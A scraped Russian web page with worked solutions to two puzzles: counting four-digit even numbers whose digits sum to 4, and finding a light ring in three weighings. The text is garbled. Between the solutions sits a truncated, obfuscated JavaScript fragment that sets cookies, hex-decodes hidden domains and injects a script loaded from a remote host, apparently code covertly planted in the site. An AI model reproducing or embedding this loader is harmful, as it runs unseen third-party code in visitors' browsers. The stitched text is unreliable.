Решение: Если сумма цифр равна 4, значит, в числе могут быть только цифры 0, 1, 2, 3, 4. Пусть 4 — наибольшая цифра, которая есть в искомом числе. Значит, она стоит на первом месте, а три остальные цифры равны нулю — получили число 4000. Если наибольшая цифра — 3, то возможны четыре варианта: 3100, 3010, 1300, 1030. Варианты 3001, 1003 невозможны, так как число с единицей на конце не является чётным. Пусть наибольшая цифра — 2, в этом случае получим числа 2110, 2200, 2020, 2002, 1210, 1120, 1102, 1012. Если наибольшая цифра — 1, то все цифры числа равны 1, но число 1111 нечётное, поэтому такой вариант невозможен. Наконец, числа 0000 не существует. Всего получается 1+4+8+0=13 чисел.
1 ВЗВЕШИВАНИЕ. откладываем 5 колец в сторону, взвешиваем оставшиеся кольца , по 5 штук на чаше весов. Если весы показывают, что одна чаша легче, то бракованное кольцо будет среди этих колец. Следующим шагом будем взвешивать именно эти 5 колец. Если весы показывают равенство чаш с десятью кольцами, значит, среди этих десяти колец нет бракованного легкого кольца и оно осталось среди тех 5-ти колец, что мы уже отложили. Значит, дальше взвешивать будем именно пятерку из этих колец. 2ВЗВЕШИВАНИЕ. Перед нами 5 колец оставшихся, откладываем одно кольцо в сторону. Взвешиваем оставшиеся 4 кольца по 2 штуки на чашу. Если Весы покажут равный вес чаш, то бракованное кольцо мы отложили уже в сторону. Значит, эксперимент закончен. Если Одна из чаш легче, то именно в ней среди двух колец находится бракованное. Эти два кольца и будем взвешивать в следующий раз. 3ВЗВЕШИВАНИЕ. У нас осталось только два кольца, взвешиваем и находим то, которое меньше. ОТВЕТ: 3 взвешиванияwindow.r r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Решение:
Если сумма цифр равна 4, значит, в числе могут быть только цифры 0, 1, 2, 3, 4. Пусть 4 — наибольшая цифра, которая есть в искомом числе. Значит, она стоит на первом месте, а три остальные цифры равны нулю — получили число 4000. Если наибольшая цифра — 3, то возможны четыре варианта: 3100, 3010, 1300, 1030. Варианты 3001, 1003 невозможны, так как число с единицей на конце не является чётным. Пусть наибольшая цифра — 2, в этом случае получим числа 2110, 2200, 2020, 2002, 1210, 1120, 1102, 1012. Если наибольшая цифра — 1, то все цифры числа равны 1, но число 1111 нечётное, поэтому такой вариант невозможен. Наконец, числа 0000 не существует. Всего получается 1+4+8+0=13 чисел.